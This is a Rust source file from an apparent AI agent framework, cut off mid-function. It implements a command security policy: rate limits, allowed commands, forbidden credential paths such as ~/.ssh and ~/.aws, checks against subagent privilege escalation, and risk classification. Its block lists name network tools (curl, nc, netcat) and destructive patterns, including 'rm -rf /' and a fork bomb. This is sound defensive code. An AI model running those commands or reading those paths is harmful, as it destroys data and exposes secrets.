1use parking_lot::Mutex;
2use std::collections::HashMap;
3use std::path::{Path, PathBuf};
4use std::time::Instant;
5
6pub use crate::autonomy::AutonomyLevel;
8
9#[derive(Debug, Clone, Copy, PartialEq, Eq)]
11pub enum CommandRiskLevel {
12 Low,
13 Medium,
14 High,
15}
16
17#[derive(Debug, Clone, Copy, PartialEq, Eq)]
19pub enum ToolOperation {
20 Read,
21 Act,
22}
23
24#[derive(Debug)]
26pub struct ActionTracker {
27 actions: Mutex<Vec<Instant>>,
29}
30
31impl Default for ActionTracker {
32 fn default() -> Self {
33 Self::new()
34 }
35}
36
37impl ActionTracker {
38 pub fn new() -> Self {
39 Self {
40 actions: Mutex::new(Vec::new()),
41 }
42 }
43
44 pub fn record(&self) -> usize {
46 let mut actions = self.actions.lock();
47 let cutoff = Instant::now()
48 .checked_sub(std::time::Duration::from_secs(3600))
49 .unwrap_or_else(Instant::now);
50 actions.retain(|t| *t > cutoff);
51 actions.push(Instant::now());
52 actions.len()
53 }
54
55 pub fn count(&self) -> usize {
57 let mut actions = self.actions.lock();
58 let cutoff = Instant::now()
59 .checked_sub(std::time::Duration::from_secs(3600))
60 .unwrap_or_else(Instant::now);
61 actions.retain(|t| *t > cutoff);
62 actions.len()
63 }
64}
65
66impl Clone for ActionTracker {
67 fn clone(&self) -> Self {
68 let actions = self.actions.lock();
69 Self {
70 actions: Mutex::new(actions.clone()),
71 }
72 }
73}
74
75#[derive(Debug)]
91pub struct PerSenderTracker {
92 buckets: std::sync::Arc<parking_lot::Mutex<HashMap<String, ActionTracker>>>,
93}
94
95impl PerSenderTracker {
96 pub const GLOBAL_KEY: &'static str = "__global__";
98
99 pub fn new() -> Self {
101 Self {
102 buckets: std::sync::Arc::new(parking_lot::Mutex::new(HashMap::new())),
103 }
104 }
105
106 fn current_key() -> String {
108 zeroclaw_api::TOOL_LOOP_THREAD_ID
109 .try_with(|v| v.clone())
110 .ok()
111 .flatten()
112 .unwrap_or_else(|| Self::GLOBAL_KEY.to_string())
113 }
114
115 pub fn record_for_current(&self, max: u32) -> bool {
118 let key = Self::current_key();
119 self.record_within(&key, max)
120 }
121
122 pub fn record_within(&self, key: &str, max: u32) -> bool {
125 let mut buckets = self.buckets.lock();
126 let tracker = buckets.entry(key.to_string()).or_default();
127 let count = tracker.record();
128 count <= max as usize
129 }
130
131 pub fn is_limited_for_current(&self, max: u32) -> bool {
133 let key = Self::current_key();
134 self.is_exhausted(&key, max)
135 }
136
137 pub fn is_exhausted(&self, key: &str, max: u32) -> bool {
144 if max == 0 {
145 return true;
146 }
147 let mut buckets = self.buckets.lock();
148 match buckets.get_mut(key) {
149 Some(tracker) => tracker.count() >= max as usize,
150 None => false,
151 }
152 }
153}
154
155impl Clone for PerSenderTracker {
156 fn clone(&self) -> Self {
162 Self {
163 buckets: std::sync::Arc::clone(&self.buckets),
164 }
165 }
166}
167
168impl Default for PerSenderTracker {
169 fn default() -> Self {
170 Self::new()
171 }
172}
173
174#[derive(Debug, Clone)]
196pub struct SecurityPolicy {
197 pub autonomy: AutonomyLevel,
198 pub risk_profile_name: String,
202 pub delegation_policy: crate::autonomy::DelegationPolicy,
204 pub workspace_dir: PathBuf,
205 pub workspace_only: bool,
206 pub allowed_commands: Vec<String>,
207 pub forbidden_paths: Vec<String>,
208 pub allowed_roots: Vec<PathBuf>,
213 pub allowed_roots_read_only: Vec<PathBuf>,
218 pub allowed_roots_write_only: Vec<PathBuf>,
225 pub max_actions_per_hour: u32,
226 pub max_cost_per_day_cents: u32,
227 pub require_approval_for_medium_risk: bool,
228 pub block_high_risk_commands: bool,
229 pub shell_env_passthrough: Vec<String>,
230 pub shell_timeout_secs: u64,
231 pub allowed_tools: Option<Vec<String>>,
236 pub excluded_tools: Option<Vec<String>>,
240 pub auto_approve: Vec<String>,
243 pub always_ask: Vec<String>,
246 pub sandbox_enabled: Option<bool>,
249 pub sandbox_backend: Option<String>,
252 pub firejail_args: Vec<String>,
255 pub tracker: PerSenderTracker,
256}
257
258impl SecurityPolicy {
259 pub fn is_tool_allowed(&self, name: &str) -> bool {
264 let allowed = self
265 .allowed_tools
266 .as_ref()
267 .is_none_or(|list| list.iter().any(|t| t == name));
268 let excluded = self
269 .excluded_tools
270 .as_ref()
271 .is_some_and(|list| list.iter().any(|t| t == name));
272 allowed && !excluded
273 }
274}
275
276#[cfg(not(target_os = "windows"))]
278pub(crate) fn default_allowed_commands() -> Vec<String> {
279 #[allow(unused_mut)]
280 let mut cmds = vec![
281 "git".into(),
282 "npm".into(),
283 "cargo".into(),
284 "ls".into(),
285 "cat".into(),
286 "grep".into(),
287 "find".into(),
288 "echo".into(),
289 "pwd".into(),
290 "wc".into(),
291 "head".into(),
292 "tail".into(),
293 "date".into(),
294 "df".into(),
295 "du".into(),
296 "uname".into(),
297 "uptime".into(),
298 "hostname".into(),
299 "python".into(),
300 "python3".into(),
301 "pip".into(),
302 "node".into(),
303 ];
304 #[cfg(target_os = "linux")]
306 cmds.push("free".into());
307 cmds
308}
309
310#[cfg(target_os = "windows")]
315pub(crate) fn default_allowed_commands() -> Vec<String> {
316 vec![
317 "git".into(),
319 "npm".into(),
320 "cargo".into(),
321 "echo".into(),
322 "dir".into(),
324 "type".into(),
325 "findstr".into(),
326 "where".into(),
327 "more".into(),
328 "date".into(),
329 "ls".into(),
331 "cat".into(),
332 "grep".into(),
333 "find".into(),
334 "pwd".into(),
335 "wc".into(),
336 "head".into(),
337 "tail".into(),
338 "df".into(),
339 "du".into(),
340 "uname".into(),
341 "uptime".into(),
342 "hostname".into(),
343 "python".into(),
344 "python3".into(),
345 "pip".into(),
346 "node".into(),
347 ]
348}
349
350#[cfg(not(target_os = "windows"))]
352pub(crate) fn default_forbidden_paths() -> Vec<String> {
353 vec![
354 "/etc".into(),
355 "/root".into(),
356 "/home".into(),
357 "/usr".into(),
358 "/bin".into(),
359 "/sbin".into(),
360 "/lib".into(),
361 "/opt".into(),
362 "/boot".into(),
363 "/dev".into(),
364 "/proc".into(),
365 "/sys".into(),
366 "/var".into(),
367 "/tmp".into(),
368 "~/.ssh".into(),
369 "~/.gnupg".into(),
370 "~/.aws".into(),
371 "~/.config".into(),
372 ]
373}
374
375#[cfg(target_os = "windows")]
377pub(crate) fn default_forbidden_paths() -> Vec<String> {
378 vec![
379 "C:\\Windows".into(),
380 "C:\\Windows\\System32".into(),
381 "C:\\Program Files".into(),
382 "C:\\Program Files (x86)".into(),
383 "C:\\ProgramData".into(),
384 "~/.ssh".into(),
385 "~/.gnupg".into(),
386 "~/.aws".into(),
387 "~/.config".into(),
388 ]
389}
390
391fn roots_contain(roots: &[PathBuf], expanded: &Path) -> bool {
397 roots.iter().any(|root| {
398 let canonical = root.canonicalize().unwrap_or_else(|_| root.clone());
399 expanded.starts_with(&canonical) || expanded.starts_with(root)
400 })
401}
402
403fn path_contains(parent: &Path, child: &Path) -> bool {
412 let canonical_parent = parent
413 .canonicalize()
414 .unwrap_or_else(|_| parent.to_path_buf());
415 let canonical_child = child.canonicalize().unwrap_or_else(|_| child.to_path_buf());
416 canonical_child.starts_with(&canonical_parent) || child.starts_with(parent)
417}
418
419#[derive(Debug, Clone, PartialEq, Eq)]
424pub enum EscalationViolation {
425 AutonomyAboveParent {
430 child: AutonomyLevel,
431 parent: AutonomyLevel,
432 },
433 ReadWriteRootNotInParent { path: PathBuf },
435 ReadOnlyRootNotInParent { path: PathBuf },
438 WriteOnlyRootNotInParent { path: PathBuf },
441 CommandNotInParent { command: String },
444 WorkspaceOnlyDisabledByChild,
447 ForbiddenPathDroppedByChild { path: String },
452 ShellEnvPassthroughExpanded { variable: String },
455 MaxActionsExceeded { child: u32, parent: u32 },
458 MaxCostExceeded { child: u32, parent: u32 },
461 ShellTimeoutExceeded { child: u64, parent: u64 },
465 BlockHighRiskCommandsDisabledByChild,
469 RequireApprovalDisabledByChild,
473}
474
475impl std::fmt::Display for EscalationViolation {
476 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
477 match self {
478 Self::AutonomyAboveParent { child, parent } => {
479 write!(f, "subagent autonomy={child:?} exceeds parent's {parent:?}")
480 }
481 Self::ReadWriteRootNotInParent { path } => write!(
482 f,
483 "subagent allowed_roots entry {path:?} is not contained within any of the parent's allowed_roots entries"
484 ),
485 Self::ReadOnlyRootNotInParent { path } => write!(
486 f,
487 "subagent allowed_roots_read_only entry {path:?} is not contained within the parent's allowed_roots or allowed_roots_read_only"
488 ),
489 Self::WriteOnlyRootNotInParent { path } => write!(
490 f,
491 "subagent allowed_roots_write_only entry {path:?} is not contained within the parent's allowed_roots or allowed_roots_write_only"
492 ),
493 Self::CommandNotInParent { command } => write!(
494 f,
495 "subagent allowed_commands entry {command:?} is not present on the parent's allowed_commands"
496 ),
497 Self::WorkspaceOnlyDisabledByChild => write!(
498 f,
499 "subagent attempts to disable workspace_only but the parent enforces it"
500 ),
501 Self::ForbiddenPathDroppedByChild { path } => write!(
502 f,
503 "subagent drops forbidden_paths entry {path:?} that the parent enforces"
504 ),
505 Self::ShellEnvPassthroughExpanded { variable } => write!(
506 f,
507 "subagent shell_env_passthrough entry {variable:?} is not present on the parent's list"
508 ),
509 Self::MaxActionsExceeded { child, parent } => write!(
510 f,
511 "subagent max_actions_per_hour={child} exceeds parent's {parent}"
512 ),
513 Self::MaxCostExceeded { child, parent } => write!(
514 f,
515 "subagent max_cost_per_day_cents={child} exceeds parent's {parent}"
516 ),
517 Self::ShellTimeoutExceeded { child, parent } => write!(
518 f,
519 "subagent shell_timeout_secs={child} exceeds parent's {parent}"
520 ),
521 Self::BlockHighRiskCommandsDisabledByChild => write!(
522 f,
523 "subagent attempts to set block_high_risk_commands=false but the parent enforces it"
524 ),
525 Self::RequireApprovalDisabledByChild => write!(
526 f,
527 "subagent attempts to set require_approval_for_medium_risk=false but the parent enforces it"
528 ),
529 }
530 }
531}
532
533impl std::error::Error for EscalationViolation {}
534
535impl Default for SecurityPolicy {
536 fn default() -> Self {
537 Self {
538 autonomy: AutonomyLevel::Supervised,
539 risk_profile_name: String::new(),
540 delegation_policy: crate::autonomy::DelegationPolicy::default(),
541 workspace_dir: PathBuf::from("."),
542 workspace_only: true,
543 allowed_commands: default_allowed_commands(),
544 forbidden_paths: default_forbidden_paths(),
545 allowed_roots: Vec::new(),
546 allowed_roots_read_only: Vec::new(),
547 allowed_roots_write_only: Vec::new(),
548 max_actions_per_hour: 20,
549 max_cost_per_day_cents: 500,
550 require_approval_for_medium_risk: true,
551 block_high_risk_commands: true,
552 shell_env_passthrough: vec![],
553 shell_timeout_secs: 60,
554 allowed_tools: None,
555 excluded_tools: None,
556 auto_approve: vec![],
557 always_ask: vec![],
558 sandbox_enabled: None,
559 sandbox_backend: None,
560 firejail_args: vec![],
561 tracker: PerSenderTracker::new(),
562 }
563 }
564}
565
566fn home_dir() -> Option<PathBuf> {
567 #[cfg(not(target_os = "windows"))]
568 {
569 std::env::var_os("HOME").map(PathBuf::from)
570 }
571 #[cfg(target_os = "windows")]
572 {
573 std::env::var_os("USERPROFILE")
574 .or_else(|| std::env::var_os("HOME"))
575 .map(PathBuf::from)
576 }
577}
578
579fn expand_user_path(path: &str) -> PathBuf {
580 if path == "~"
581 && let Some(home) = home_dir()
582 {
583 return home;
584 }
585
586 if let Some(stripped) = path.strip_prefix("~/")
587 && let Some(home) = home_dir()
588 {
589 return home.join(stripped);
590 }
591
592 PathBuf::from(path)
593}
594
595fn is_null_device(path: &Path) -> bool {
601 #[cfg(not(target_os = "windows"))]
602 {
603 path == Path::new("/dev/null")
604 }
605 #[cfg(target_os = "windows")]
606 {
607 let s = path.to_string_lossy();
608 let lower = s.to_ascii_lowercase();
609 lower == "nul" || lower == r"\\.\nul"
610 }
611}
612
613fn rootless_path(path: &Path) -> Option<PathBuf> {
614 let mut relative = PathBuf::new();
615
616 for component in path.components() {
617 match component {
618 std::path::Component::Prefix(_)
619 | std::path::Component::RootDir
620 | std::path::Component::CurDir => {}
621 std::path::Component::ParentDir => return None,
622 std::path::Component::Normal(part) => relative.push(part),
623 }
624 }
625
626 if relative.as_os_str().is_empty() {
627 None
628 } else {
629 Some(relative)
630 }
631}
632
633fn skip_env_assignments(s: &str) -> &str {
642 let mut rest = s;
643 loop {
644 let Some(word) = rest.split_whitespace().next() else {
645 return rest;
646 };
647 if word.contains('=')
649 && word
650 .chars()
651 .next()
652 .is_some_and(|c| c.is_ascii_alphabetic() || c == '_')
653 {
654 rest = rest[word.len()..].trim_start();
656 } else {
657 return rest;
658 }
659 }
660}
661
662#[derive(Debug, Clone, Copy, PartialEq, Eq)]
663enum QuoteState {
664 None,
665 Single,
666 Double,
667}
668
669fn split_unquoted_segments(command: &str) -> Vec<String> {
685 let mut segments = Vec::new();
686 let mut current = String::new();
687 let mut quote = QuoteState::None;
688 let mut escaped = false;
689 let mut heredoc_delimiter: Option<String> = None;
691 let mut heredoc_line_buf = String::new();
693 let mut reading_heredoc_word = false;
695 let mut heredoc_word_buf = String::new();
696 let mut chars = command.chars().peekable();
697
698 let push_segment = |segments: &mut Vec<String>, current: &mut String| {
699 let trimmed = current.trim();
700 if !trimmed.is_empty() {
701 segments.push(trimmed.to_string());
702 }
703 current.clear();
704 };
705
706 while let Some(ch) = chars.next() {
707 match quote {
708 QuoteState::Single => {
709 if ch == '\'' {
710 quote = QuoteState::None;
711 }
712 current.push(ch);
713 }
714 QuoteState::Double => {
715 if escaped {
716 escaped = false;
717 current.push(ch);
718 continue;
719 }
720 if ch == '\\' {
721 escaped = true;
722 current.push(ch);
723 continue;
724 }
725 if ch == '"' {
726 quote = QuoteState::None;
727 }
728 current.push(ch);
729 }
730 QuoteState::None => {
731 if escaped {
732 escaped = false;
733 if heredoc_delimiter.is_some() {
734 heredoc_line_buf.push(ch);
735 } else {
736 current.push(ch);
737 }
738 continue;
739 }
740 if ch == '\\' {
741 escaped = true;
742 if heredoc_delimiter.is_some() {
743 heredoc_line_buf.push(ch);
744 } else {
745 current.push(ch);
746 }
747 continue;
748 }
749
750 if reading_heredoc_word {
752 if ch == '\n' {
753 let raw = heredoc_word_buf.trim().trim_start_matches('-');
755 let delim = raw
756 .trim_matches(|c| c == '\'' || c == '"' || c == '\\')
757 .to_string();
758 if !delim.is_empty() {
759 heredoc_delimiter = Some(delim);
760 }
761 heredoc_word_buf.clear();
762 reading_heredoc_word = false;
763 current.push(ch);
765 } else {
766 heredoc_word_buf.push(ch);
767 current.push(ch);
768 }
769 continue;
770 }
771
772 if let Some(delim) = heredoc_delimiter.as_deref() {
778 if ch == '\n' {
779 if heredoc_line_buf.trim() == delim {
780 heredoc_delimiter = None;
782 heredoc_line_buf.clear();
783 push_segment(&mut segments, &mut current);
784 } else {
785 heredoc_line_buf.clear();
786 }
787 } else {
788 heredoc_line_buf.push(ch);
789 }
790 continue;
791 }
792
793 match ch {
794 '\'' => {
795 quote = QuoteState::Single;
796 current.push(ch);
797 }
798 '"' => {
799 quote = QuoteState::Double;
800 current.push(ch);
801 }
802 ';' | '\n' => push_segment(&mut segments, &mut current),
803 '|' => {
804 if chars.next_if_eq(&'|').is_some() {
805 }
807 push_segment(&mut segments, &mut current);
808 }
809 '&' => {
810 if chars.next_if_eq(&'&').is_some() {
811 push_segment(&mut segments, &mut current);
813 } else {
814 current.push(ch);
815 }
816 }
817 '<' => {
818 current.push(ch);
819 if chars.peek() == Some(&'<') {
821 let second = chars.next().unwrap();
822 current.push(second);
823 if chars.peek() != Some(&'<') {
824 reading_heredoc_word = true;
825 }
826 }
828 }
829 _ => current.push(ch),
830 }
831 }
832 }
833 }
834
835 let trimmed = current.trim();
836 if !trimmed.is_empty() {
837 segments.push(trimmed.to_string());
838 }
839
840 segments
841}
842
843fn strip_fd_merge_redirects(command: &str) -> String {
848 use std::sync::OnceLock;
849 static FD_MERGE_RE: OnceLock<regex::Regex> = OnceLock::new();
851 let re = FD_MERGE_RE.get_or_init(|| regex::Regex::new(r"\d*[><]&[\d-]").unwrap());
852 re.replace_all(command, "").to_string()
853}
854
855fn contains_unquoted_single_ampersand(command: &str) -> bool {
858 let mut quote = QuoteState::None;
859 let mut escaped = false;
860 let mut chars = command.chars().peekable();
861
862 while let Some(ch) = chars.next() {
863 match quote {
864 QuoteState::Single => {
865 if ch == '\'' {
866 quote = QuoteState::None;
867 }
868 }
869 QuoteState::Double => {
870 if escaped {
871 escaped = false;
872 continue;
873 }
874 if ch == '\\' {
875 escaped = true;
876 continue;
877 }
878 if ch == '"' {
879 quote = QuoteState::None;
880 }
881 }
882 QuoteState::None => {
883 if escaped {
884 escaped = false;
885 continue;
886 }
887 if ch == '\\' {
888 escaped = true;
889 continue;
890 }
891 match ch {
892 '\'' => quote = QuoteState::Single,
893 '"' => quote = QuoteState::Double,
894 '&' if chars.next_if_eq(&'&').is_none() => {
897 return true;
898 }
899 _ => {}
900 }
901 }
902 }
903 }
904
905 false
906}
907
908fn contains_unquoted_char(command: &str, target: char) -> bool {
910 let mut quote = QuoteState::None;
911 let mut escaped = false;
912
913 for ch in command.chars() {
914 match quote {
915 QuoteState::Single => {
916 if ch == '\'' {
917 quote = QuoteState::None;
918 }
919 }
920 QuoteState::Double => {
921 if escaped {
922 escaped = false;
923 continue;
924 }
925 if ch == '\\' {
926 escaped = true;
927 continue;
928 }
929 if ch == '"' {
930 quote = QuoteState::None;
931 }
932 }
933 QuoteState::None => {
934 if escaped {
935 escaped = false;
936 continue;
937 }
938 if ch == '\\' {
939 escaped = true;
940 continue;
941 }
942 match ch {
943 '\'' => quote = QuoteState::Single,
944 '"' => quote = QuoteState::Double,
945 _ if ch == target => return true,
946 _ => {}
947 }
948 }
949 }
950 }
951
952 false
953}
954
955fn contains_unsafe_output_redirect(command: &str) -> bool {
958 use regex::Regex;
961 use std::sync::OnceLock;
962
963 static SAFE_OUTPUT_RE: OnceLock<Regex> = OnceLock::new();
964 let re = SAFE_OUTPUT_RE.get_or_init(|| {
965 Regex::new(&format!(
971 r"\d*>[ ]?/dev/({})(\s|[;&|)]|$)",
972 safe_device_redirect_names_pattern()
973 ))
974 .unwrap()
975 });
976
977 let safe = re.replace_all(command, "$2").to_string();
978 let safe = strip_fd_merge_redirects(&safe);
980 contains_unquoted_char(&safe, '>')
981}
982
983fn contains_unquoted_input_redirect(command: &str) -> bool {
986 use regex::Regex;
989 use std::sync::OnceLock;
990
991 static SAFE_INPUT_RE: OnceLock<Regex> = OnceLock::new();
992 let re =
993 SAFE_INPUT_RE.get_or_init(|| Regex::new(r"<[ ]?/dev/(null|zero)(\s|[;&|)]|$)").unwrap());
994
995 let safe = command.replace("<<<", "").replace("<<", "");
996 let safe = re.replace_all(&safe, "$2").to_string();
997 let safe = strip_fd_merge_redirects(&safe);
999 contains_unquoted_char(&safe, '<')
1000}
1001
1002fn contains_unquoted_shell_variable_expansion(command: &str) -> bool {
1007 let mut quote = QuoteState::None;
1008 let mut escaped = false;
1009 let chars: Vec<char> = command.chars().collect();
1010
1011 for i in 0..chars.len() {
1012 let ch = chars[i];
1013
1014 match quote {
1015 QuoteState::Single => {
1016 if ch == '\'' {
1017 quote = QuoteState::None;
1018 }
1019 continue;
1020 }
1021 QuoteState::Double => {
1022 if escaped {
1023 escaped = false;
1024 continue;
1025 }
1026 if ch == '\\' {
1027 escaped = true;
1028 continue;
1029 }
1030 if ch == '"' {
1031 quote = QuoteState::None;
1032 continue;
1033 }
1034 }
1035 QuoteState::None => {
1036 if escaped {
1037 escaped = false;
1038 continue;
1039 }
1040 if ch == '\\' {
1041 escaped = true;
1042 continue;
1043 }
1044 if ch == '\'' {
1045 quote = QuoteState::Single;
1046 continue;
1047 }
1048 if ch == '"' {
1049 quote = QuoteState::Double;
1050 continue;
1051 }
1052 }
1053 }
1054
1055 if ch != '$' {
1056 continue;
1057 }
1058
1059 let Some(next) = chars.get(i + 1).copied() else {
1060 continue;
1061 };
1062 if next.is_ascii_alphanumeric()
1063 || matches!(
1064 next,
1065 '_' | '{' | '(' | '#' | '?' | '!' | '$' | '*' | '@' | '-'
1066 )
1067 {
1068 return true;
1069 }
1070 }
1071
1072 false
1073}
1074
1075fn strip_wrapping_quotes(token: &str) -> &str {
1076 token.trim_matches(|c| c == '"' || c == '\'')
1077}
1078
1079fn looks_like_path(candidate: &str) -> bool {
1080 candidate.starts_with('/')
1081 || candidate.starts_with("./")
1082 || candidate.starts_with("../")
1083 || candidate == "~"
1084 || candidate.starts_with("~/")
1085 || (candidate.starts_with('~') && candidate.contains('/'))
1086 || candidate == "."
1087 || candidate == ".."
1088 || candidate.contains('/')
1089 || (cfg!(target_os = "windows")
1091 && (candidate
1092 .get(1..3)
1093 .is_some_and(|s| s == ":\\" || s == ":/")
1094 || candidate.starts_with("\\\\")))
1095}
1096
1097fn attached_short_option_value(token: &str) -> Option<&str> {
1098 let body = token.strip_prefix('-')?;
1103 if body.starts_with('-') || body.len() < 2 {
1104 return None;
1105 }
1106 let mut chars = body.chars();
1107 chars.next();
1108 let value = chars.as_str().trim_start_matches('=').trim();
1109 if value.is_empty() { None } else { Some(value) }
1110}
1111
1112enum RedirectionArgument<'a> {
1113 Target { prefix: &'a str, target: &'a str },
1114 NeedsNextToken { prefix: &'a str },
1115 FdOnly { prefix: &'a str },
1116 None,
1117}
1118
1119fn parse_redirection_argument(token: &str) -> RedirectionArgument<'_> {
1120 let Some(marker_idx) = token.find(['<', '>']) else {
1121 return RedirectionArgument::None;
1122 };
1123 let prefix = token[..marker_idx].trim();
1124 let mut rest = &token[marker_idx + 1..];
1125 rest = rest.trim_start_matches(['<', '>']);
1126 if let Some(after_amp) = rest.strip_prefix('&') {
1127 let remaining = after_amp.trim_start_matches(|c: char| c.is_ascii_digit() || c == '-');
1128 if remaining.is_empty() {
1129 return RedirectionArgument::FdOnly { prefix };
1130 }
1131 }
1132 rest = rest.trim_start_matches('&');
1133 rest = rest.trim_start_matches(|c: char| c.is_ascii_digit());
1134 let trimmed = rest.trim();
1135 if trimmed.is_empty() {
1136 RedirectionArgument::NeedsNextToken { prefix }
1137 } else {
1138 RedirectionArgument::Target {
1139 prefix,
1140 target: trimmed,
1141 }
1142 }
1143}
1144
1145const SAFE_DEVICE_REDIRECT_TARGETS: [&str; 4] =
1146 ["/dev/null", "/dev/stdout", "/dev/stderr", "/dev/zero"];
1147
1148fn safe_device_redirect_names_pattern() -> String {
1149 SAFE_DEVICE_REDIRECT_TARGETS
1150 .iter()
1151 .map(|target| target.trim_start_matches("/dev/"))
1152 .collect::<Vec<_>>()
1153 .join("|")
1154}
1155
1156fn is_safe_device_redirect_target(target: &str) -> bool {
1157 SAFE_DEVICE_REDIRECT_TARGETS.contains(&strip_wrapping_quotes(target).trim())
1158}
1159
1160fn command_basename(raw: &str) -> &str {
1163 let after_fwd = raw.rsplit('/').next().unwrap_or(raw);
1164 after_fwd.rsplit('\\').next().unwrap_or(after_fwd)
1165}
1166
1167fn strip_windows_exe_suffix(name: &str) -> &str {
1171 if cfg!(target_os = "windows") {
1172 name.strip_suffix(".exe")
1173 .or_else(|| name.strip_suffix(".cmd"))
1174 .or_else(|| name.strip_suffix(".bat"))
1175 .unwrap_or(name)
1176 } else {
1177 name
1178 }
1179}
1180
1181fn is_allowlist_entry_match(allowed: &str, executable: &str, executable_base: &str) -> bool {
1182 let allowed = strip_wrapping_quotes(allowed).trim();
1183 if allowed.is_empty() {
1184 return false;
1185 }
1186
1187 if allowed == "*" {
1189 return true;
1190 }
1191
1192 if looks_like_path(allowed) {
1195 let allowed_path = expand_user_path(allowed);
1196 let executable_path = expand_user_path(executable);
1197 return executable_path == allowed_path;
1198 }
1199
1200 if allowed == executable_base {
1204 return true;
1205 }
1206
1207 #[cfg(target_os = "windows")]
1208 {
1209 let base_lower = executable_base.to_ascii_lowercase();
1210 let allowed_lower = allowed.to_ascii_lowercase();
1211 for ext in &[".exe", ".cmd", ".bat"] {
1212 if base_lower == format!("{allowed_lower}{ext}") {
1213 return true;
1214 }
1215 if allowed_lower == format!("{base_lower}{ext}") {
1216 return true;
1217 }
1218 }
1219 }
1220
1221 false
1222}
1223
1224impl SecurityPolicy {
1225 pub fn command_risk_level(&self, command: &str) -> CommandRiskLevel {
1232 let mut saw_medium = false;
1233
1234 for segment in split_unquoted_segments(command) {
1235 let cmd_part = skip_env_assignments(&segment);
1236 let mut words = cmd_part.split_whitespace();
1237 let Some(base_raw) = words.next() else {
1238 continue;
1239 };
1240
1241 let base_owned = command_basename(base_raw).to_ascii_lowercase();
1242 let base = strip_windows_exe_suffix(&base_owned);
1243
1244 let args: Vec<String> = words.map(|w| w.to_ascii_lowercase()).collect();
1245 let joined_segment = cmd_part.to_ascii_lowercase();
1246
1247 if matches!(
1249 base,
1250 "rm" | "mkfs"
1251 | "dd"
1252 | "shutdown"
1253 | "reboot"
1254 | "halt"
1255 | "poweroff"
1256 | "sudo"
1257 | "su"
1258 | "chown"
1259 | "chmod"
1260 | "useradd"
1261 | "userdel"
1262 | "usermod"
1263 | "passwd"
1264 | "mount"
1265 | "umount"
1266 | "iptables"
1267 | "ufw"
1268 | "firewall-cmd"
1269 | "curl"
1270 | "wget"
1271 | "nc"
1272 | "ncat"
1273 | "netcat"
1274 | "scp"
1275 | "ssh"
1276 | "ftp"
1277 | "telnet"
1278 | "del"
1280 | "rmdir"
1281 | "format"
1282 | "reg"
1283 | "net"
1284 | "runas"
1285 | "icacls"
1286 | "takeown"
1287 | "powershell"
1288 | "pwsh"
1289 | "wmic"
1290 | "sc"
1291 | "netsh"
1292 ) {
1293 return CommandRiskLevel::High;
1294 }
1295
1296 if joined_segment.contains("rm -rf /")
1297 || joined_segment.contains("rm -fr /")
1298 || joined_segment.contains(":(){:|:&};:")
1299 || joined_segment.contains("del /s /q")
1301 || joined_segment.contains("rmdir /s /q")
1302 || joined_segment.contains("format c:")
1303 {
1304 return CommandRiskLevel::High;
1305 }
1306
1307 let medium = match base {
1309 "git" => args.first().is_some_and(|verb| {
1310 matches!(
1311 verb.as_str(),
1312 "commit"
1313 | "push"
1314 | "reset"
1315 | "clean"
1316 | "rebase"
1317 | "merge"
1318 | "cherry-pick"
1319 | "revert"
1320 | "branch"
1321 | "checkout"
1322 | "switch"
1323 | "tag"
1324 )
1325 }),
1326 "npm" | "pnpm" | "yarn" => args.first().is_some_and(|verb| {
1327 matches!(
1328 verb.as_str(),
1329 "install" | "add" | "remove" | "uninstall" | "update" | "publish"
1330 )
1331 }),
1332 "cargo" => args.first().is_some_and(|verb| {
1333 matches!(
1334 verb.as_str(),
1335 "add" | "remove" | "install" | "clean" | "publish"
1336 )
1337 }),
1338 "touch" | "mkdir" | "mv" | "cp" | "ln"
1339 | "copy" | "xcopy" | "robocopy" | "move" | "ren" | "rename" | "mklink" => true,
1341 _ => false,
1342 };
1343
1344 saw_medium |= medium;
1345 }
1346
1347 if saw_medium {
1348 CommandRiskLevel::Medium
1349 } else {
1350 CommandRiskLevel::Low
1351 }
1352 }
1353
1354 pub fn validate_command_execution(
1367 &self,
1368 command: &str,
1369 approved: bool,
1370 ) -> Result<CommandRiskLevel, String> {
1371 if !self.is_command_allowed(command) {
1372 return Err(format!("Command not allowed by security policy: {command}"));
1373 }
1374
1375 let risk = self.command_risk_level(command);
1376
1377 if risk == CommandRiskLevel::High {
1378 if self.block_high_risk_commands && !self.is_command_explicitly_allowed(command) {
1379 return Err("Command blocked: high-risk command is disallowed by policy".into());
1380 }
1381 if self.autonomy == AutonomyLevel::Supervised && !approved {
1382 return Err(
1383 "Command requires explicit approval (approved=true): high-risk operation"
1384 .into(),
1385 );
1386 }
1387 }
1388
1389 if risk == CommandRiskLevel::Medium
1390 && self.autonomy == AutonomyLevel::Supervised
1391 && self.require_approval_for_medium_risk
1392 && !approved
1393 {
1394 return Err(
1395 "Command requires explicit approval (approved=true): medium-risk operation".into(),
1396 );
1397 }
1398
1399 Ok(risk)
1400 }
1401
1402 fn is_command_explicitly_allowed(&self, command: &str) -> bool {
1411 let segments = split_unquoted_segments(command);
1412 for segment in &segments {
1413 let cmd_part = skip_env_assignments(segment);
1414 let mut words = cmd_part.split_whitespace();
1415 let raw_executable = strip_wrapping_quotes(words.next().unwrap_or("")).trim();
1416 let executable = if let Some(idx) = raw_executable.find(['<', '>']) {
1417 &raw_executable[..idx]
1418 } else {
1419 raw_executable
1420 };
1421 let base_cmd_owned = command_basename(executable).to_ascii_lowercase();
1422 let base_cmd = strip_windows_exe_suffix(&base_cmd_owned);
1423
1424 if base_cmd.is_empty() {
1425 continue;
1426 }
1427
1428 let explicitly_listed = self.allowed_commands.iter().any(|allowed| {
1429 let allowed = strip_wrapping_quotes(allowed).trim();
1430 if allowed.is_empty() || allowed == "*" {
1432 return false;
1433 }
1434 is_allowlist_entry_match(allowed, executable, base_cmd)
1435 });
1436
1437 if !explicitly_listed {
1438 return false;
1439 }
1440 }
1441
1442 segments.iter().any(|s| {
1444 let s = skip_env_assignments(s.trim());
1445 s.split_whitespace().next().is_some_and(|w| !w.is_empty())
1446 })
1447 }
1448
1449 pub fn is_command_allowed(&self, command: &str) -> bool {
1464 if self.autonomy == AutonomyLevel::ReadOnly {
1465 return false;
1466 }
1467
1468 let has_wildcard = self.allowed_commands.iter().any(|c| c.trim() == "*");
1473 if has_wildcard && !self.block_high_risk_commands {
1474 return true;
1475 }
1476
1477 if command.contains('`')
1483 || contains_unquoted_shell_variable_expansion(command)
1484 || command.contains("<(")
1485 || command.contains(">(")
1486 {
1487 return false;
1488 }
1489
1490 if contains_unsafe_output_redirect(command) {
1495 return false;
1496 }
1497 if contains_unquoted_input_redirect(command) {
1498 return false;
1499 }
1500
1501 if command
1504 .split_whitespace()
1505 .any(|w| w == "tee" || w.ends_with("/tee"))
1506 {
1507 return false;
